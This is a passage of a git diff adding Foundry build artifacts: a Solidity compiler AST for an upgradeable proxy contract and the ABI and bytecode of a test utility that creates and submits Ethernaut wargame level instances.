omitted)...5612"},"value":"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"},"visibility":"private"},{"id":50059,"nodeType":"FunctionDefinition","src":"2000:242:60","nodes":[],"body":{"id":50058,"nodeType":"Block","src":"2073:169:60","nodes":[],"statements":[{"assignments":[50054],"declarations":[{"constant":false,"id":50054,"mutability":"mutable","name":"slot","nameLocation":"2091:4:60","nodeType":"VariableDeclaration","scope":50058,"src":"2083:12:60","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":50053,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2083:7:60","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":50056,"initialValue":{"id":50055,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50046,"src":"2098:20:60","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"2083:35:60"},{"AST":{"nativeSrc":"2193:43:60","nodeType":"YulBlock","src":"2193:43:60","statements":[{"nativeSrc":"2207:19:60","nodeType":"YulAssignment","src":"2207:19:60","value":{"arguments":[{"name":"slot","nativeSrc":"2221:4:60","nodeType":"YulIdentifier","src":"2221:4:60"}],"functionName":{"name":"sload","nativeSrc":"2215:5:60","nodeType":"YulIdentifier","src":"2215:5:60"},"nativeSrc":"2215:11:60","nodeType":"YulFunctionCall","src":"2215:11:60"},"variableNames":[{"name":"impl","nativeSrc":"2207:4:60","nodeType":"YulIdentifier","src":"2207:4:60"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":50051,"isOffset":false,"isSlot":false,"src":"2207:4:60","valueSize":1},{"declaration":50054,"isOffset":false,"isSlot":false,"src":"2221:4:60","valueSize":1}],"id":50057,"nodeType":"InlineAssembly","src":"2184:52:60"}]},"baseFunctions":[47082],"documentation":{"id":50047,"nodeType":"StructuredDocumentation","src":"1928:67:60","text":" @dev Returns the current implementation address."},"implemented":true,"kind":"function","modifiers":[],"name":"_implementation","nameLocation":"2009:15:60","overrides":{"id":50049,"nodeType":"OverrideSpecifier","overrides":[],"src":"2041:8:60"},"parameters":{"id":50048,"nodeType":"ParameterList","parameters":[],"src":"2024:2:60"},"returnParameters":{"id":50052,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50051,"mutability":"mutable","name":"impl","nameLocation":"2067:4:60","nodeType":"VariableDeclaration","scope":50059,"src":"2059:12:60","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50050,"name":"address","nodeType":"ElementaryTypeName","src":"2059:7:60","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2058:14:60"},"scope":50095,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":50074,"nodeType":"FunctionDefinition","src":"2361:152:60","nodes":[],"body":{"id":50073,"nodeType":"Block","src":"2417:96:60","nodes":[],"statements":[{"expression":{"arguments":[{"id":50066,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50062,"src":"2446:17:60","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50065,"name":"_setImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50094,"src":"2427:18:60","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":50067,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2427:37:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50068,"nodeType":"ExpressionStatement","src":"2427:37:60"},{"eventCall":{"arguments":[{"id":50070,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50062,"src":"2488:17:60","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50069,"name":"Upgraded","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50042,"src":"2479:8:60","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":50071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2479:27:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50072,"nodeType":"EmitStatement","src":"2474:32:60"}]},"documentation":{"id":50060,"nodeType":"StructuredDocumentation","src":"2248:108:60","text":" @dev Upgrades the proxy to a new implementation.\n Emits an {Upgraded} event."},"implemented":true,"kind":"function","modifiers":[],"name":"_upgradeTo","nameLocation":"2370:10:60","parameters":{"id":50063,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50062,"mutability":"mutable","name":"newImplementation","nameLocation":"2389:17:60","nodeType":"VariableDeclaration","scope":50074,"src":"2381:25:60","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50061,"name":"address","nodeType":"ElementaryTypeName","src":"2381:7:60","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2380:27:60"},"returnParameters":{"id":50064,"nodeType":"ParameterList","parameters":[],"src":"2417:0:60"},"scope":50095,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":50094,"nodeType":"FunctionDefinition","src":"2604:360:60","nodes":[],"body":{"id":50093,"nodeType":"Block","src":"2667:297:60","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":50083,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50077,"src":"2704:17:60","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":50081,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48259,"src":"2685:7:60","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$48259_$","typeString":"type(library Address)"}},"id":50082,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2693:10:60","memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":47982,"src":"2685:18:60","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":50084,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2685:37:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5570677261646561626c6550726f78793a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374","id":50085,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2724:56:60","typeDescriptions":{"typeIdentifier":"t_stringliteral_a962afc8125c78a56caf50b104c38b8318717478c281b4e59e7fb3e32af3a877","typeString":"literal_string \"UpgradeableProxy: new implementation is not a contract\""},"value":"UpgradeableProxy: new implementation is not a contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_a962afc8125c78a56caf50b104c38b8318717478c281b4e59e7fb3e32af3a877","typeString":"literal_string \"UpgradeableProxy: new implementation is not a contract\""}],"id":50080,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2677:7:60","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":50086,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2677:104:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50087,"nodeType":"ExpressionStatement","src":"2677:104:60"},{"assignments":[50089],"declarations":[{"constant":false,"id":50089,"mutability":"mutable","name":"slot","nameLocation":"2800:4:60","nodeType":"VariableDeclaration","scope":50093,"src":"2792:12:60","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":50088,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2792:7:60","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":50091,"initialValue":{"id":50090,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50046,"src":"2807:20:60","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"2792:35:60"},{"AST":{"nativeSrc":"2903:55:60","nodeType":"YulBlock","src":"2903:55:60","statements":[{"expression":{"arguments":[{"name":"slot","nativeSrc":"2924:4:60","nodeType":"YulIdentifier","src":"2924:4:60"},{"name":"newImplementation","nativeSrc":"2930:17:60","nodeType":"YulIdentifier","src":"2930:17:60"}],"functionName":{"name":"sstore","nativeSrc":"2917:6:60","nodeType":"YulIdentifier","src":"2917:6:60"},"nativeSrc":"2917:31:60","nodeType":"YulFunctionCall","src":"2917:31:60"},"nativeSrc":"2917:31:60","nodeType":"YulExpressionStatement","src":"2917:31:60"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":50077,"isOffset":false,"isSlot":false,"src":"2930:17:60","valueSize":1},{"declaration":50089,"isOffset":false,"isSlot":false,"src":"2924:4:60","valueSize":1}],"id":50092,"nodeType":"InlineAssembly","src":"2894:64:60"}]},"documentation":{"id":50075,"nodeType":"StructuredDocumentation","src":"2519:80:60","text":" @dev Stores a new address in the EIP1967 implementation slot."},"implemented":true,"kind":"function","modifiers":[],"name":"_setImplementation","nameLocation":"2613:18:60","parameters":{"id":50078,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50077,"mutability":"mutable","name":"newImplementation","nameLocation":"2640:17:60","nodeType":"VariableDeclaration","scope":50094,"src":"2632:25:60","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50076,"name":"address","nodeType":"ElementaryTypeName","src":"2632:7:60","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2631:27:60"},"returnParameters":{"id":50079,"nodeType":"ParameterList","parameters":[],"src":"2667:0:60"},"scope":50095,"stateMutability":"nonpayable","virtual":false,"visibility":"private"}],"abstract":false,"baseContracts":[{"baseName":{"id":49990,"name":"Proxy","nameLocations":["715:5:60"],"nodeType":"IdentifierPath","referencedDeclaration":47117,"src":"715:5:60"},"id":49991,"nodeType":"InheritanceSpecifier","src":"715:5:60"}],"canonicalName":"UpgradeableProxy","contractDependencies":[],"contractKind":"contract","documentation":{"id":49989,"nodeType":"StructuredDocumentation","src":"165:520:60","text":" @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an\n implementation address that can be changed. This address is stored in storage in the location specified by\n https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the\n implementation behind the proxy.\n Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see\n {TransparentUpgradeableProxy}."},"fullyImplemented":true,"linearizedBaseContracts":[50095,47117],"name":"UpgradeableProxy","nameLocation":"695:16:60","scope":50096,"usedErrors":[],"usedEvents":[50042]}],"license":"MIT"},"id":60} \ No newline at end of file diff --git a/contracts/out/Utils.sol/Utils.json b/contracts/out/Utils.sol/Utils.json new file mode 100644 index 000000000..041a3f22c --- /dev/null +++ b/contracts/out/Utils.sol/Utils.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615387806100715f395ff3fe608060405234801562000010575f80fd5b506004361062000148575f3560e01c806385db81cc11620000bb578063b90a68fa1162000087578063e20c9f71116200006b578063e20c9f7114620002b0578063f82de7b014620002ba578063fa7626d414620002d3575f80fd5b8063b90a68fa1462000279578063ba414fa614620002a6575f80fd5b806385db81cc1462000226578063916a17c6146200023d5780639b59adbc1462000247578063b5508aa9146200026f575f80fd5b80633e5e3c23116200011757806366d9a9a011620000fb57806366d9a9a014620001dd578063792e11f514620001f657806385226c81146200020d575f80fd5b80633e5e3c2314620001c95780633f7286f414620001d3575f80fd5b80631c7db669146200014c5780631ed7831c14620001805780632356661a14620001995780632ade388014620001b0575b5f80fd5b620001636200015d36600462001364565b620002e1565b6040516001600160a01b0390911681526020015b60405180910390f35b6200018a620004ab565b604051620001779190620013a7565b62000163620001aa36600462001493565b6200050d565b620001ba620006d8565b60405162000177919062001566565b6200018a62000820565b6200018a62000880565b620001e7620008e0565b60405162000177919062001629565b6200018a62000207366004620016f6565b620009da565b6200021762000b6a565b6040516200017791906200170e565b620001636200023736600462001774565b62000c3f565b620001e762000d5e565b6200025e6200025836600462001792565b62000e58565b604051901515815260200162000177565b6200021762000fe8565b601f8054604080516020808201849052825180830382018152918301909252805191012090915562000163565b6200025e620010bd565b6200018a62001191565b620002d1620002cb366004620016f6565b620011f1565b005b601e546200025e9060ff1681565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200033d575f80fd5b505af115801562000350573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620003b0575f80fd5b505af1158015620003c3573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000428573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200045191908101906200185b565b90508060018251620004649190620019eb565b8151811062000477576200047762001a01565b60200260200101515f015160028151811062000497576200049762001a01565b60200260200101515f1c9150509392505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311620004e4575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200056d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000596919081019062001a15565b90505f818485604051602001620005af92919062001a67565b60408051601f1981840301815290829052620005cf929160200162001b15565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb11906200063390859060040162001b47565b5f60405180830381865afa1580156200064e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000677919081019062001a15565b90505f620006c46040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200128090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015620007ff578382905f5260205f200180546200076d9062001b5b565b80601f01602080910402602001604051908101604052809291908181526020018280546200079b9062001b5b565b8015620007ea5780601f10620007c057610100808354040283529160200191620007ea565b820191905f5260205f20905b815481529060010190602001808311620007cc57829003601f168201915b5050505050815260200190600101906200074d565b505050508152505081526020019060010190620006fb565b50505050905090565b606060188054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620009c157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200096d5790505b5050505050815250508152602001906001019062000903565b60605f8267ffffffffffffffff811115620009f957620009f9620013f5565b60405190808252806020026020018201604052801562000a23578160200160208202803683370190505b5090505f5b8381101562000b63575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000a70573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000a96919062001b95565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562000b14575f80fd5b505af115801562000b27573d5f803e3d5ffd5b505050508083838151811062000b415762000b4162001a01565b6001600160a01b03909216602092830291909101909101525060010162000a28565b5092915050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f2001805462000bad9062001b5b565b80601f016020809104026020016040519081016040528092919081815260200182805462000bdb9062001b5b565b801562000c2a5780601f1062000c005761010080835404028352916020019162000c2a565b820191905f5260205f20905b81548152906001019060200180831162000c0c57829003601f168201915b50505050508152602001906001019062000b8d565b5f8060405162000c4f9062001322565b604051809103905ff08015801562000c69573d5f803e3d5ffd5b5090505f60405162000c7b9062001330565b604051809103905ff08015801562000c95573d5f803e3d5ffd5b50848360405162000ca6906200133e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000ce0573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562000d3f575f80fd5b505af115801562000d52573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000deb5790505b5050505050815250508152602001906001019062000d81565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000eb4575f80fd5b505af115801562000ec7573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562000f25575f80fd5b505af115801562000f38573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000fc591908101906200185b565b905060018151111562000fdd57600191505062000fe2565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f200180546200102b9062001b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054620010599062001b5b565b8015620010a85780601f106200107e57610100808354040283529160200191620010a8565b820191905f5260205f20905b8154815290600101906020018083116200108a57829003601f168201915b5050505050815260200190600101906200100b565b6008545f9060ff1615620010d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001164573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200118a919062001bb3565b1415905090565b606060158054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b5f620011fe824362001bcb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001265575f80fd5b505af115801562001278573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620012d7908690869060040162001be1565b5f60405180830381865afa158015620012f2573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200131b919081019062001c12565b9392505050565b610ae58062001c4983390190565b611e7a806200272e83390190565b610daa80620045a883390190565b6001600160a01b038116811462001361575f80fd5b50565b5f805f6060848603121562001377575f80fd5b833562001384816200134c565b9250602084013562001396816200134c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b81811015620013e95783516001600160a01b031683529284019291840191600101620013c2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff811182821017156200142f576200142f620013f5565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715620014615762001461620013f5565b604052919050565b5f67ffffffffffffffff821115620014855762001485620013f5565b50601f01601f191660200190565b5f60208284031215620014a4575f80fd5b813567ffffffffffffffff811115620014bb575f80fd5b8201601f81018413620014cc575f80fd5b8035620014e3620014dd8262001469565b62001435565b818152856020838501011115620014f8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200153157818101518382015260200162001517565b50505f910152565b5f81518084526200155281602086016020860162001515565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200161a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200160357605f19888503018352620015f084865162001539565b948d01949350918c0191600101620015d1565b50505096890196935050908701906001016200158b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620016e857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620016d25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200168e565b5096890196945050509086019060010162001650565b509098975050505050505050565b5f6020828403121562001707575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200176757603f198886030184526200175485835162001539565b9450928501929085019060010162001735565b5092979650505050505050565b5f6020828403121562001785575f80fd5b81356200131b816200134c565b5f8060408385031215620017a4575f80fd5b8235620017b1816200134c565b91506020830135620017c3816200134c565b809150509250929050565b5f67ffffffffffffffff821115620017ea57620017ea620013f5565b5060051b60200190565